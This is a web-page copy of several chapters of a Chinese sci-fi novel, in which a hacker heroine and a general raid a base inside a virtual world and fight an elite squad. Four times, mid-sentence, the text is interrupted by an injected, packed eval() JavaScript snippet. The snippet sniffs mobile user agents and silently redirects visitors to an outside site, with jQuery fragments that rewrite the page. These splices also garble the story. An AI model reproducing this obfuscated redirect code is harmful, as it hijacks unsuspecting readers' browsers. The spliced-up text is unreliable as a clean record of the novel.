外骨骼功率全开,发出低沉而急促的嗡鸣,冰冷的空气如刀片般割过凌珂的脸颊,几乎让她无法呼吸。 三秒。 凌珂强忍着眩晕,拼命集中望向高墙,瞳孔一缩。 “不好!” 二秒。 腰间一紧,她整个人被夜流光反手托住,向前猛地一甩,视野天旋地转,所有声音骤然拉远,只剩下自己急促的心跳。 一秒。 凌珂重重地摔落在地,震得五脏六腑都移了位。她艰难地抬起头,夜流光向前一扑,一道白炽色激光骤然亮起,精准地命中了他的膝关节。 零秒。 夜流光摔在她的面前,带起了一片尘土。 激光熄灭,一股淡淡的刺鼻味弥漫在冰冷的空气中。 凌珂喘着气,闭了闭眼睛,直到耳鸣消失,才凑到夜流光身边,目光第一时间落在他的右膝,外骨骼上细微的烧痕有些刺眼。 “你的腿没事吗?”她低声道。 “无碍。”夜流光的声音依旧平稳地听不出波澜,他甚至没有低头检查伤口,义眼快速扫过幽深的通道入口,“跟紧,不要分心。” 见他面无表情、仿佛刚刚那六秒只是日常任务的样子,凌珂暗自松了口气。 她伸手将夜流光拉起,道:“那就好,这次计算失误,差点连累了你,算我欠你一次,你需要什么补偿?” 夜流光终于收回审视前方的目光,纡尊降贵地瞥了她一眼。 “先记着。”说完,他便转身准备深入通道。 凌珂挑眉,几步跟上,凑到他的侧面,调侃:“‘先记着’,夜大将军这是专门备了个本子记我的账?想让我欠你人情,好以后给你当牛做马?” 夜流光的步伐没有丝毫停顿,只是嘴唇抿得更紧了些:“你能进基地就已经欠了。” “把我带进来是你作为合作者的义务,亲爱的夜将军。” “那请履行好你此刻的义务,就是最好的补偿,凌小姐。” “所以还是义务嘛。”凌珂的脸上绽开笑容,不依不饶,“那我们这合作关系,你还叫我‘凌小姐’是不是太生分了点,夜、大、将、军?” 夜流光的脚步猛地一顿。 他终于停下步伐,侧过头,凌珂直视着冰冷的蓝色义眼和黑色正常眼睛,脸上的笑意愈深。 “那么,”夜流光几乎是咬着后槽牙,一字一顿地回道,“请履行好你的义务,凌、珂、合、作、者。” 说完,他没再留下任何回应的机会,大步流星走入通道深处的黑暗中。 凌珂愣了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407658|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一秒,随即嘴角大幅度扬起,快步追了上去,笑道:“等等我啊,夜将军!” 与外面有单独能源供应的防御系统不同,基地内部的安保机器人大部分都已经停止运转,仅有几个还在勤勤恳恳巡逻的,一个照面就被凌珂黑进控制系统,成了他们的保镖和探路机器。 凌珂手一挥,又一个机器人的红色眼睛变绿,金线晃晃悠悠地飘出,与凌珂相连。 她打发机器人去巡逻,扭头,夜流光停在不远处,凝视着通道尽头的铁门。 “这后面是控制室。” 凌珂凑上前观察一番铁门,嘴角勾起:“你们的门禁系统也太简单了。” 说着,她正准备黑进系统,一根金线忽然绷紧,颤动了几下后骤然崩断。 动作一顿,凌珂的眉头马上蹙紧。 “怎么了?” 凌珂沉声道:“防御系统范围外,有一个机器人被摧毁了。” “有人来了。” 夜流光目光微眯,道:“一击致命?” 凌珂点头:“一击致命。” “来的是A队。” 听到夜流光笃定的语气,凌珂茫然:“什么A队?” “管委会麾下的特殊小队,一共三支。”夜流光一边说一边再次启动外骨骼,凌珂看着他从手环中拔出了刀,“有能力直接摧毁机器人的只有A队队长。” 外骨骼覆盖了夜流光的每一寸皮肤,让他看上去像是义体战士。 “我去拖住他们,你进去后——” “等一下。” 夜流光的动作一顿,凌珂的手覆在铁门上,随着一声清脆的“滴”,铁门洞开,控制室的灯一盏盏亮起。 她的嘴角上扬,朝着夜流光眨了眨眼:“我可以黑进防御系统。” 基地外,一个机器人倒在地上,额头处的洞冒着淡淡白烟。 洪铮垂下枪,扭头看向盘腿坐着的女生:“舒瑶,你还没黑进去吗?” 舒瑶的目光黏在眼前的屏幕上:“快了快了……” 屏幕上的进度条慢慢往前爬,终于快爬到尽头,她刚松了半口气,进度条忽然一顿,眨眼间缩到了百分之三四十的地方。 舒瑶手忙脚乱地扶稳眼镜,仔细查了查代码,抬头看向洪铮:“洪队,有人在里面和我抢权限。” 基地内,凌珂饶有兴致地挑起眉梢,眼底金光闪动:“有意思,居然还能从我手底下留三十多的权限。” 手指在控制台上跃动,凌珂唇角微扬,轻快地按下回车,对面的进度条瞬间归零。 控制台前的显示屏亮起,基地外的三维投影清晰地呈现出来。 将投影放大,凌珂指着上面的四个人影,转向夜流光:“是他们吗?” 抱臂站在一旁的夜流光瞥了眼,淡淡地嗯了一声。 凌珂嘴角勾起的弧度更大,双手在空中一挥,三块控制面板应声投射而出。 “明白了,队长最厉害是吧。”她的语气欢快,指尖在面板上飞快舞动。 基地外,舒瑶的额角渗出细密的汗珠,手指在虚拟键盘上疯狂敲击。就在她即将触到权限核心的刹那,进度条忽然剧烈波动,迅速归零,她本人也被踢出了防御系统。 “完了。”舒瑶瞳孔一缩,朝洪铮三人大喊:“快跑,对方控制了防御系统!” 话音未落,高墙上数个隐蔽的发射口同时转动,白炽色的激光瞬间锁定洪铮的身影。 8. 第8章 “解决了?” “应该。” 凌珂说着,在面板上又按了一下,光栅再次扫描,眼前这片区域依然显示没有能量波动。 “已经没有能量波动了。”凌珂挥手关闭控制面板,转向夜流光,“控制台的电耗很大吗?” “你再不关上,基地将在五分钟后断电。” 凌珂连忙把控制台关机。 直到控制台彻底息屏,凌珂才反应过来,瞪了他一眼:“好啊,夜将军你吓我?” 夜流光对着她挑了挑眉。 凌珂瞪大眼睛,刚张嘴,已经熟悉她性格的夜将军当机立断开了口,堵住她的话:“控制台电耗很大,旧基地剩的能源不多,能省则省。” 凌珂郁闷地闭上嘴,在感受到上将大人周身莫名的愉悦气氛时更憋屈了,忍不住开口:“堵我的话有那么开心吗?” “没有。” “撒谎,你的语调都是上扬的。” 夜流光不说话了。 他转身大步迈出控制室,凌珂连忙几步跟上。 “怎么聊几句就不吭声了,月面的夜将军大人有大量,理理我这个冰原的拾荒者——诶,慢点慢点,我闭嘴,我闭嘴行了吧。” 两人走远,控制室感应不到能量波动,自动熄灯,整个房间陷入一片黑暗。 忽然,随着一声极细微的“滴”,控制台的屏幕缓缓亮起,照亮了生着锈的天花板。 左绕右绕,凌珂跟着夜流光来到了最黑暗的一处角落。 “这里是?”她眯着眼睛尝试看清周围的景象,但除了他的义眼和门禁的微微蓝光外什么都看不清。 “档案室。” 夜流光直起身,门禁轻轻一响,房门自动打开。 灯光亮起,照亮了屋内一排白桌,凌珂跟在夜流光身后,小步小步挪进这间完好到有些诡异的房间。她四处打量着,目光在一尘不染的白墙上停留片刻,看向夜流光:“这里是有什么特别的保护措施吗?” “对。”夜流光此时已经站在一张桌子前,手环一碰,一块虚拟显示屏投射在他的眼前。 凌珂凑上前,就见他随手敲了几个字符,一个个档案文件就在屏幕上弹出。 凌珂礼貌地侧开头,随便挑了个桌子,模仿夜流光的动作,用自己的手环碰了碰,同样的虚拟显示屏投射而出。 只不过与夜流光的不同,她的屏幕刚刚弹出就已经显示着各类文件。 而且看它们的颜色,级别都还不低。 用余光瞥了眼夜流光,见他还埋首于一堆文件中,凌珂缓缓吐出一口气,手指划过一堆文件,最后停在了被标红的一份申请上。 《关于使用管理员权限的申请》,管理员权限? 凌珂悄悄扫了一眼夜流光,手指慢慢抬起,点开了这份申请。 不需要验证权限,也不需要输密码,申请的内容直接全部显示在屏幕上。 凌珂细细读了一遍,微微蹙起眉头。 这份申请与其说是申请,不如说是通知。 “致管委会:我需要分离管理员权限,原因不便告知,分离方法不便告知,分离后权限去向不便告知。以上,科学院院长。” 就这样的申请,管委会还盖了批准的章。 如此硬气的科学院院长,怎么沦落到和夜流光传个信都要用藏头文了? 想不明白,凌珂决定直接问。她侧头看向夜流光,道:“夜将军,科学院院长是个什么人?” 夜流光查找资料的动作一顿,道:“软骨头的墙头草。” “那前任呢?” 话音未落,夜流光的目光便从屏幕移到她身上。 他的眼神微动,道:“你从哪里知道科学院有前任院长的?” “查资料发现的。”凌珂直接道。 沉默片刻,夜流光的目光终于从她身上移开,重新投到屏幕上。 “科学院前任院长已经死了。” 凌珂瞳孔猛地一缩,心脏跟着一抽,莫名的空洞和恍惚涌来,淹没全身。 “死了?”她喃喃着重复。 “死于三年前的坍塌事故,死因是受到过强的能力冲击,在现实中脑死亡。” “你们怎么确定的?”凌珂追问,语气急切,“现实中脑死亡,你们怎么确定的?” “没有确定。” “那你们凭什么认定他脑死亡?” 许是她忽然急迫的态度让夜流光感到了不对劲,一向不爱开尊口的上将大人望着凌珂,蹙着眉一字一句道:“首先,院长位于事故正中央,科学院后续测定的能量冲击足够波及现实、导致脑死亡。其次,自事故发生后,院长到现在都还没出现,科学院也没侦测到与院长相似的连接波动。” “科学院前任院长已经死亡。” 夜流光最后又重复了一遍,语气难得加重。 凌珂抿了抿唇,垂下头道:“我失态了,抱歉。” 档案室内陷入有些尴尬的沉默,凌珂的视线移回屏幕,想再看看有没有关于权限的线索。 就在这时,一根与她相连的金线忽然绷紧,眨眼间再次崩断。 凌珂动作一滞。 像是戏剧的开幕,数根金线齐刷刷断开,在空中融化,消失不见。 她的目光瞬间凝滞,猛地扭头看向档案室的门。 “怎么了?” 凌珂瞳孔微缩,呢喃道:“A队,为什么还活着?” 夜流光眯了眯眼睛。 “管委会这次真是下血本了。” “什么?”凌珂茫然回头。 他没有回答,食指将两个文件移到自己的手环内。 “她们手上有最新款的干扰器,可以干扰我的外骨骼。”夜流光淡淡道,仿佛在谈论一件与自己无关的事,“我还没找到线索,需要你先去拖住她们四个。” 他顿了一下,语速飞快地补充:“A队一共四人,作战能力很强,不要正面对抗。” 凌珂点头,没有丝毫犹豫道:“了解,需要多长时间?” “越长越好。” “好。” 她深吸一口气,将还残留的一点恍惚压至心底。她迅速扫视档案室,目光锁定在暗处的通风管道上。 手掌轻轻按在栅栏的接口,栅栏眨眼间无声融化,一股陈年的铁锈和灰尘气味涌了出来。 她抬起手腕,低声对自己的手环呢喃:“杰尼斯,持续扫描周围五十米内的能量波动。” 说完,凌珂毫不犹豫地钻进了通风管道。 她凭借手环上投射的微光地图和夜流光的远程指引,在错综复杂的管道网络中快速穿行。 很快,极轻微的脚步回音从下方传来,凌珂放缓动作,低头,透过管道栅栏看向下方。 五个人,排成了菱形的队伍往前推进。一马当先的人气质凌厉,压迫感甚至比受伤的夜流光还强,大抵是队长。被护在中央的应该是技术人员,但从能量波动看也不容小觑。 一对双胞胎姐妹动作轻盈地游弋在队伍的侧翼,还有一名全身大半被义体取代的魁梧女子殿后,步伐沉稳。 正面绝对无法攻破。 凌珂屏住呼吸,眼中金芒微亮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407659|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地面上,某处的代码被轻微扭曲,双胞胎其中一人脚下的地板忽然下陷,如同淤泥,瞬间吞没了她的右脚。 那人反应极快,身形一跃,避开了那片不再牢固的地面。 “有异常。” 就在她报告的同时,凌珂已经悄无声息移动了位置,目光落在天花板的废弃管线上。 下一秒,这排管线突然发出令人牙酸的断裂声,猛地砸落下来,目标直指正中央的技术人员。 队长反应极快,反手扣下扳机,数颗能量弹硬生生推离管线。魁梧女子一步踏前,双臂交叉格挡,硬生生抗住了大半撞击,发出了刺耳的金属摩擦声。 “敌袭,全员警戒。”队长冷喝道,“舒瑶,扫描周围能量波动。” 她的目光扫视四周的天花板和管道,凌珂再次变换位置,借管道迅速移动到队伍的前方,金线探出,直接激活了某个防卫机器人。 机器人眼中的红光亮起,抬起残破的手臂,对准A队直接开始扫射。 队长毫不犹豫,一枪精准点爆机器人的能源核心。 几乎就在机器人瘫痪的同时,那对双胞胎异口同声道:“找到你了。” 凌珂心下一凛,本能地在管道中翻滚躲避。 下一秒,一束脉冲能量束直接穿透管道的外壁,擦着她的发丝掠过。 “对方只有一人,能力诡异,无法判断,擅长环境利用和间接攻击。”她喘着气,听着下方的那名队长下达指令,“双翼包抄,司晨掩护我,舒瑶控制周围机器人,把他逼出来。” 凌珂咬牙,继续在管道内翻滚,不断变化着位置,眼中的金光愈发明亮,制造着小片的代码混乱。 突然闭合的闸门、忽然融化的地面、莫名脱离舒瑶控制的机器人、毫无征兆长出的尖刺…… 凌珂又一次险之又险地避开队长的能量弹,额角青筋突突跳动,太阳穴又开始隐隐作痛。 A队的配合太过默契,反应速度远超她的预料,自己恐怕撑不了多久了。 冒出这个念头的下一秒,她就听见下方的队长忽然喊道:“火力覆盖前方区域,逼他出来!” 密集的脉冲火力瞬间倾泻向管道集群,凌珂避无可避,被迫从一处破损的管道口跳下,直接暴露在A队几乎所有人的视线下。 “抓住她!” 双胞胎瞬间从两侧袭来,凌珂瞳孔一缩,双手猛地按地,两根尖锐的金属刺从地面窜出,精准地刺向双胞胎的脚踝。 两人不得不变向闪避,凌珂借机向侧后方翻滚,却被队长抓住机会,一颗能量弹呼啸而来,直接穿透了她的左肩。 凌珂闷哼一声,左手的触觉瞬间被尖锐的痛感取代。 眼前阵阵发黑,她艰难地抬起头,只看见队长步步紧逼,黑洞洞的枪口直指她的额头。 凌珂闭上眼睛,等待脉冲弹穿透大脑,却听到有人开口:“队长,夜流光来了。” 话音未落,她只感觉自己的衣领忽然被一阵巨力往后拉扯,右手好像被谁塞入了什么东西。 “走。” 是夜流光的声音。 凌珂睁开眼,面前的夜流光全身覆盖着外骨骼,代替她硬抗住了一颗脉冲弹。 “舒瑶!启动干扰器!”她听见那名队长大喊。 凌珂脸色一变,她强忍着大脑的刺痛,手掌对准舒瑶手中的正方体,握掌为拳。 只听见一阵刺耳的金属扭曲声,那块正方体变成了一团废铁。 “快走!” 那名队长似乎在喊什么,凌珂不再犹豫,握紧被塞入掌心的小球,扭头冲向基地的大门。 9. 第9章 凌珂潜藏在基地大门附近。 她的身体紧贴着墙壁,隐身屏蔽器功率全开,将她完美融于风雪之中。 基地内的打斗声逐渐靠近大门,凌珂呼吸声放轻,手掌轻轻按在高墙上,眼底金光闪烁,一点点重组防御系统的代码。 几颗脉冲弹从门中窜出,凌珂抬起另一只手,脉冲弹瞬间停滞于半空,随即缓慢调转一百八十度,弹头直指基地内。 随着一声震耳欲聋的爆炸,滚滚浓烟从大门内涌出。一道人影在浓烟的掩护下,跌出基地大门,全身鲜血淋漓。 瞳孔猛地一缩,她下意识向前接住了昏迷的夜流光。 还带着外骨骼的身体格外沉重,温热的鲜血迅速浸透了她的衣襟。 “夜流光?”凌珂低喊了一声,回应她的只有身后通道内迅速逼近的脚步声和武器充能的嗡鸣。 心头一紧,她的手一挥,停在空中的脉冲弹应声冲入基地。 又是几声爆炸,朝着大门逼近的脚步声终于被逼停。 “抓住她!” 几乎是同时,她眼角的余光瞥见侧后方一道身影正试图包抄过来。 凌珂的左手猛地向后一挥,完全凭着直觉驱动了某处的代码。 一段本就摇摇欲坠的金属管道应声断裂,裹挟着积雪和冰渣轰然砸落,瞬间扬起大片雪雾。 借着雪雾的阻隔,凌珂将夜流光的手臂扛到自己的肩上,目光飞快地扫过四周,最后定格在右前方。 那片无人废墟,结构复杂,适合藏匿,几天前,她就是在那里捡到了从天而降的夜流光。 “舒瑶,扫描锁定。” 咬紧牙关,她将夜流光的手臂抗在自己的肩上,几乎是用尽全力拖着他往前冲刺。 同时,她的右手五指张开,眼中金光剧烈闪烁,近乎粗暴地扰乱了周围所有的代码。 四周的景象瞬间扭曲,地面融化又迅速崩解,石块膨出又消散在空气中,雪花时而下降时而上升。在这片扭曲的掩护之下,凌珂将身后的一切抛至脑后,踉跄地朝着无人废墟奔跑。 A队貌似被那片忽然的混乱拖住了脚步,凌珂拖着夜流光,一头扎进建筑残骸之中。 她将夜流光藏入隐蔽处,太阳穴已经开始突突跳。 眼前阵阵发黑,凌珂喘息着,在他们跑来的方向制造出几处匆忙奔跑留下的脚印,一直延伸向远离无人废墟的方向,再将自己留下的真正的痕迹抹除。 耳鸣声已经彻底盖过了周围所有的环境音,凌珂强忍着大脑和左肩的刺痛,半背半拖地将夜流光带入更隐蔽的废墟深处。 这里的断壁残垣错综复杂,对于外地人来讲是一个巨大的迷宫。破碎的钢筋和混凝土块扭曲地指向灰白的天空,寒冷的风灌入缝隙,完美掩盖了她的喘息声。 凌珂躲进一栋相对完好的建筑底层,这里三面有墙,头顶还有半片天花板阻挡,是个藏人的好地方。 她小心翼翼地将夜流光靠在角落,自己丝毫不敢放松,侧耳倾听四周的动静。 远处,脚步声和指令声似乎朝着她伪造痕迹的方向,渐渐远去。 缓缓吐出一口气,凌珂脱力地滑坐在地,后知后觉自己的后背已经被冷汗浸透。 她看了眼昏迷不醒的夜流光,慢慢闭上眼睛。 她必须尽快处理他的伤势,然后弄清楚下一步该怎么办。 凌珂缓了一会儿,从背包中掏出绷带和应急药物,简单包扎完伤口后,她从口袋里掏出了那颗小球。 外壳金属,有花纹装饰,看上去像是一个简单的储藏设备。 轻轻用手指一点,三个小字从小球上弹出。 “已锁定?” 嘴角一扬,凌珂将手环和小球轻轻碰了碰,杰尼斯一如既往地靠谱,眨眼间就将小球的密码破译。 滴声过后,小球在掌心展开,数次零件间的开合之后,一个微型的全息记录仪出现在她的手上。 眉头微蹙,凌珂按下开关,记录仪闪了闪,却没有投影随之弹出,只有标准的播音腔从中传来。 “来自未来的主人,您好。”凌珂听到他说,“过去的您因为一点原因,分割了管理员权限,分割出的密钥散落在塔内。她安排我为未来的您留下相关的信息,希望能帮到未来的您。” 瞳孔微缩,她下意识打开了录音器,记录仪内的人平静地叙述:“为了避免无关人员拥有管理员权限,主人将密钥分散在塔的各层,外表不引人注目,多为与您相关的物品,请……” 一阵杂音。 眉头瞬间蹙紧,凌珂马上翻看起记录仪,可它的外表完好无损,找不到导致杂音的破损。 记录仪在一阵阵杂音中讲着:“冰原……观测站……霓……公司……龙宫……四层……” 后续彻底被杂音覆盖。 凌珂抓了抓头发,有些郁闷地看着手里的全息记录仪。 “怎么又是这种老套的剧情。”她叹了口气,将记录仪收起,“不过,冰原,观测站?” 观测站,不就是她现在待的地方吗? 凌珂猛地抬起头,目光迅速扫过四周的废墟。 “权限密钥在观测站吗?”她呢喃着,扶墙站起,环视周围。 眼前的无人废墟萧条依旧,丝毫看不出曾经作为观测站的辉煌。 可是假如有密钥,怎么会到现在还没被人发现? 还是说…… 凌珂的目光投向地面。 眼下这片废墟的占地范围可观,但是对于月面科学院直属的观测站而言,还是偏小了。 不过假如地底也包含进去,那确实足够了。 “杰尼斯,扫描地下。” 手环应声弹出了三维扫描图,在她的眼前缓慢旋转,代表地表废墟的灰色线条下方,错综复杂的结构如树木的根须向下蔓延,勾勒出一个远比地上庞大精密的地下空间轮廓。 “果然……”凌珂喃喃道,迅速锁定了基础结构薄弱点,以及一个疑似出入口的阶梯通道。 她收回目光,看向昏迷不醒的夜流光。 他的呼吸依旧微弱,失血让他的脸色苍白如纸。 凌珂咬咬牙,再次将他沉重的身躯架起,朝着扫描图指示的方向艰难移动。 通道入口格外隐蔽,闸门在数年的风雪蹉跎下已经彻底锈死,只能用能力撬开。 刚刚大范围扰乱代码带来的脱力和疼痛还没完全消失,凌珂撬一会儿,缓一会儿,伴随着尖锐的嘎吱声,闸门被强行扭曲,露出仅容一人通过的缝隙。 缝隙内是深不见底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407660|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的黑暗,陈腐冰冷的空气从中涌出。 凌珂正在犹豫,却听见远处忽然传来一阵脚步声,A队队长的喊声遥遥传来:“他们应该是藏在这片废墟,大家分散搜查。” 肾上腺素飙升,她马上拖着夜流光滚进了通道入口,强忍着痛楚,反手一挥,眼中金光闪过,缝隙凝固,闸门被暂时封死。 就在入口被封的下一刻,外面就传来了脚步声。 凌珂靠着冰冷的金属壁,心跳如鼓,听着外面的声音由近至远,缓缓吐出一口气。 喘息片刻,她打开了手环的照明功能。一道光束刺破黑暗,照亮了脚下向深处延伸的金属阶梯。 凌珂不敢停留,背起夜流光,一步步向下走去。 沉重的脚步声在通道内回荡着,空气越来越冷,但其中的金属和尘埃味奇异般地越来越少,好像地下空间中还有独立的循环系统仍在运作。 终于,阶梯到了尽头,光束扫过,照亮了一个巨大的、空旷的地下空间。 凌珂环顾四周,出乎她的意料,眼前这片空间保存得异常完整,冰冷的计算机阵列排列在两侧的房间内,指示灯零星闪烁着,而在其中一个房间的角落,一个熟悉的、流淌着幽蓝代码流的装置静静矗立。 是方舟舱。 凌珂吐出一口气,以最快速度将夜流光放入舱内,舱门闭合,幽蓝的光芒亮起,代码一点点淌入他的伤口。 紧绷的神经稍稍放松,肾上腺素褪去,凌珂滑坐在冰冷的地板上,深呼吸着,直到如鼓的心跳平静。 过了好一会儿,她才重新站起身,再次环顾四周。 “权限密钥。”她咀嚼着这四个字,开始探索这片地下空间。 大部分机器都处于休眠状态,控制台布满灰尘,凌珂试着启动几个主控终端,见都需要科学院成员验证后也都没再继续。 绕了一圈没有收获,她的目光落在一扇虚掩着的房门上。 推开房门,里面像是一间个人办公室,布置简洁到有些简陋,积满了厚厚的灰尘。 凌珂的目光扫过书架、桌椅,最后定格在一个小型的控制台。 很少会有控制台出现在私人办公室,凌珂目光微动,一步步走进,手电光缓缓掠过布满灰尘的键盘。 手指按下开关,控制台的显示屏缓缓亮起,三个控制面板弹到凌珂面前。 显示屏上跳出的并非寻常的操作界面,而是一个极其简洁的命令行窗口,有些古老,假如不是现在挡在她面前的话,还意外很合凌珂的口味。 光标在黑色背景上安静闪烁,凌珂试探性地输入了几串常见的访问用代码,屏幕毫无反应。她又试着输入了“观测站”、“科学院”,甚至是“管理员”,依旧只有光标在屏幕上闪烁。 疲惫和左肩的刺痛让她有些烦躁,凌珂叹了口气,身体因为脱力微微晃动,手肘一不小心压在了控制台一侧几个磨损严重的按钮上。 咔哒。 就在她手肘压下的瞬间,命令行窗口骤然消失,刺眼的血红色文字占据了整个屏幕。 凌珂瞪大眼睛,下意识往后倒退几步。 巨大的粗体文字在屏幕上不断闪烁。 【警告!警告!底层代码稳定性跌破临界值!系统即将崩溃!系统即将崩溃!】 10. 第10章 办公室内,刺眼的血红文字仍在屏幕上疯狂闪烁,将凌珂的脸庞映照得忽明忽暗。 【警告!警告!底层代码稳定性跌破临界值!系统即将崩溃!系统即将崩溃!】 呼吸几乎停滞,凌珂垂在身侧的双手微微颤抖。她下意识后退,脊背撞上冰冷的墙壁。 “系统即将崩溃?”她喃喃自语,这行文字仿佛有异样的吸引力,目光死死黏在屏幕上,无法移开,“底层代码?” 量子塔是人造的世界,系统是它运行的依托,底层代码是它存在本身的基石。 量子塔要崩溃,怎么崩溃?那他们这些生活在里面的人呢?会去哪里? 回现实吗?大脑与量子塔的联系被直接切断,他们在现实真的能醒来吗? 冷汗瞬间浸透了布料,凌珂头皮发麻,猛地上前关闭了屏幕。 办公室重新陷入昏暗,只有手环发出的微光和门外地下空间零星闪烁的指示灯。 她盯着漆黑的屏幕,往后倒退几步,转身冲出办公室。 方舟舱停在角落,幽蓝色的代码流依然平稳地流淌,其中的夜流光不知什么时候已经醒来,没有乱动,双眼扫视着整个空间,最终定格在凌珂身上。 凌珂凝视着那只冰冷的义眼,忽然冷静下来。 脚步放缓,她抬腿走向方舟舱,目光钉在夜流光的脸上。 夜流光貌似察觉到了什么不对劲,他细细打量凌珂面无表情的脸庞,语气严肃:“怎么了?” 地下空间内回荡着凌珂的脚步声,她停在方舟舱面前,微微抬头与夜流光对视,开口:“量子塔要塌了,你来找权限密钥,是为了回现实,对吗?” 空间内陷入一片死寂。 方舟舱内的夜流光下巴绷紧,凌珂直视着他的目光,片刻后,有些低哑的声音响起:“你是从哪里知道的?” “现在是我在问你问题。”凌珂的手掌轻轻贴上舱门,轻声道,“夜流光,你找管理员权限,是为了离开量子塔、回到现实,对,还是不对。” 夜流光的双唇抿得更紧了。 “为了控制底层代码。”许久,凌珂终于等到了他的回答,“修复底层代码,让量子塔恢复稳定。” “为什么不直接让我们回现实?”凌珂步步紧逼,眼底金光开始闪烁,“夜将军,我们姑且也算是合作者,这样逼一下才能像挤牙膏一样说点情报的合作者,我不要也罢。” 两人对视,夜流光沉默着,有些无奈地闭上眼睛。 “一个月前,科学院发现底层代码开始出现混乱。他们尝试调整控制,但是因为权限不够,失败了。”他缓缓开口,“所以科学院院长秘密报告给委员长,希望能尽快开启意识回归实验,委员长拒绝了。” “为什么?”凌珂脱口而出,语气激动,“量子塔都要塌了,他们为什么不愿意离开?” “底层代码是否真的不稳定,实验风险是否过高,现在的地球环境是否还适合人类。”夜流光闭着眼睛重复一遍冠冕堂皇的官腔,“管委会希望稳定,比起回归现实更倾向于维持塔内秩序,所以他们倒逼科学院修复底层代码。” 凌珂急道:“那你说的冰期结束又是什么?” “科学院放出的舆论炸弹。”夜流光解释道,“科学院现任院长没有勇气也没有能力与管委会硬碰硬,他们无法修好底层代码,于是寄希望于量子塔民众的舆论,希望可以逼迫管委会同意回归。” “但是管委会顶住了舆论压力,于是那个院长找上你,然后你就兵变了?” 夜流光点头。 凌珂深吸一口气,轻声问:“那权限呢?拥有管理员权限,就可以修复底层代码?” 夜流光淡淡地嗯了一声。 “不,不对。”她摇摇头,自己也不清楚是在询问月面的上将还是在自言自语,“管委会说得没错,假如底层代码不再稳定,那为什么到现在都还没有出现异常?” “因为有‘锚点’。”夜流光睁开眼睛,语气平淡到有些可怕,“底层代码失控时锚点可以短暂稳定量子塔,但是几小时前,巴别毁了一小部分的锚点,所以地震了,这就是代码不稳定的证据。” 凌珂张了张嘴,刚想再问些什么,四周的灯光忽然闪烁了一下,刺耳的警报声响彻整个地下空间。 两人瞬间噤声,抬头望向天花板。 “咚——” 一声沉闷的巨响从他们来时的方向传来,仿佛是什么重物砸在了金属闸门上。紧接着,一阵令人牙酸的金属摩擦声压过了警报,贯穿凌珂的耳膜。 瞳孔骤缩,她的心脏突突跳着,猛地扭头看向声音方向。 “A队想强行破开我封住的闸门,她们怎么知道我们在这下面的?” “高科技。”夜流光言简意赅地解释了一句,几乎在同一时间伸手想推开舱门,试图从方舟舱内出来,但伤势逼得他动作一滞。 听到夜流光一声闷哼,凌珂回头瞪了他一眼,语气急促:“你待着别动,我去拖住她们。” 说着,她飞快扫视整个地下空间,目光最后定在闲置服务器形成的狭窄阴影中。 更大的撞击声接连传来,期间夹杂着能量武器灼烧金属的嗤嗤声。 没有丝毫犹豫,凌珂推开舱门,半拖半拽地将夜流光从舱里拉出来,用力把他推向那片阴影。 “你……” “闭嘴,保存体力,等你能打了再说。”凌珂粗暴地打断他,将自己的隐身屏蔽器取下塞到夜流光手里,“按下按钮就能屏蔽能量波动。” 说着,她将一些积满灰尘的防尘布盖到他身上,又把他往里面塞了塞,确保在外面完全看不出异常才停下。 通道入口传来巨响,闸门被破开,冰冷的空气霎时间涌了进来,裹挟着外面的风雪气息。 深吸一口气,凌珂强行压下狂跳的心脏和左肩隐隐的刺痛,主动向着入口的方向走了几步,将自己完全暴露在空旷的地下车间中央。 整齐的脚步声带着回音,迅速由远及近,手电光柱在幽暗的空间内胡乱扫过。 凌珂缓缓握紧双拳,眼中再次泛起金光,在一道身影出现在通道口的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407661|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间,左腿往前一步,腰身用力,右拳猛地向前一挥,地板瞬间崩裂,剧烈的颤动直接将那人震倒在地。 借着扬起的烟雾的掩护,她的双腿用力蹬地,轻巧地跃上计算机主机,手轻轻一挥,周围的代码无声瓦解重组,将她完全隐藏在主机上方。 烟雾散去,光线照亮了为首那人脸上贯穿的伤疤。 